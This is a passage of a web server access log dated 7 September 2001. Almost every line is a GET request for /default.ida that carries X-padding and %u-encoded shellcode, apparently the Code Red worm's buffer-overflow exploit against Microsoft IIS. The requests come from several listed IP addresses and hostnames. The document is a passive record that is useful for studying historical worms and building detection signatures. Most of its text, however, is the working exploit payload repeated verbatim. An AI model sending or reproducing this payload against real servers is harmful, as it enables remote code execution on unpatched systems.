/default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010907 09:50:07: [128.164.247.32] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010907 09:50:25: [128.164.247.32] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010907 09:51:02: [128.164.247.32] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010907 09:51:20: [128.164.247.32] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010907 09:51:39: [128.164.247.32] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010907 09:51:57: [128.164.247.32] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010907 09:52:15: [128.164.247.32] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010907 09:52:34: [128.164.247.32] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010907 09:52:52: [128.164.247.32] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010907 09:54:02: [128.164.247.32] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010907 09:54:31: [128.164.247.32] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010907 09:55:39: [128.164.247.32] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010907 09:55:58: [128.164.247.32] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010907 09:56:26: [128.164.247.32] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010907 09:57:29: [128.164.247.32] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010907 09:58:24: [128.164.247.32] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010907 09:58:48: [128.164.247.32] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010907 09:59:10: [128.164.247.32] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010907 10:05:56: [128.164.247.32] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010907 10:06:20: [128.164.247.32] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010907 10:06:39: [128.164.247.32] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010907 10:13:26: r318m06.cbit.syr.edu [128.230.112.38] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010907 10:14:20: [128.164.247.32] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010907 10:15:27: [128.164.247.32] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010907 10:17:20: [128.164.247.32] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010907 11:05:51: 213-98-201-61.uc.nombres.ttd.es [213.98.201.61] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010907 11:05:57: bus211-082.gsb.columbia.edu [128.59.211.82] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010907 11:05:58: 213-98-201-61.uc.nombres.ttd.es [213.98.201.61] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010907 11:06:07: 213-98-201-61.uc.nombres.ttd.es [213.98.201.61] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010907 11:06:44: 213-98-201-61.uc.nombres.ttd.es [213.98.201.61] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010907 11:06:54: 213-98-201-61.uc.nombres.ttd.es [213.98.201.61] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010907 11:07:01: 213-98-201-61.uc.nombres.ttd.es [213.98.201.61] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010907 11:07:34: 213-98-201-61.uc.nombres.ttd.es [213.98.201.61] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010907 11:08:14: 213-98-201-61.uc.nombres.ttd.es [213.98.201.61] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010907 11:08:22: 213-98-201-61.uc.nombres.ttd.es [213.98.201.61] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010907 11:23:39: bus211-082.gsb.columbia.edu [128.59.211.82] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010907 11:26:21: lpro.tc.columbia.edu [128.59.88.11] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010907 11:46:09: dynamic-50-100.dyn.columbia.edu [128.59.50.100] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010907 11:50:49: lpro.tc.columbia.edu [128.59.88.11] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010907 12:46:36: [218.2.150.32] "GET 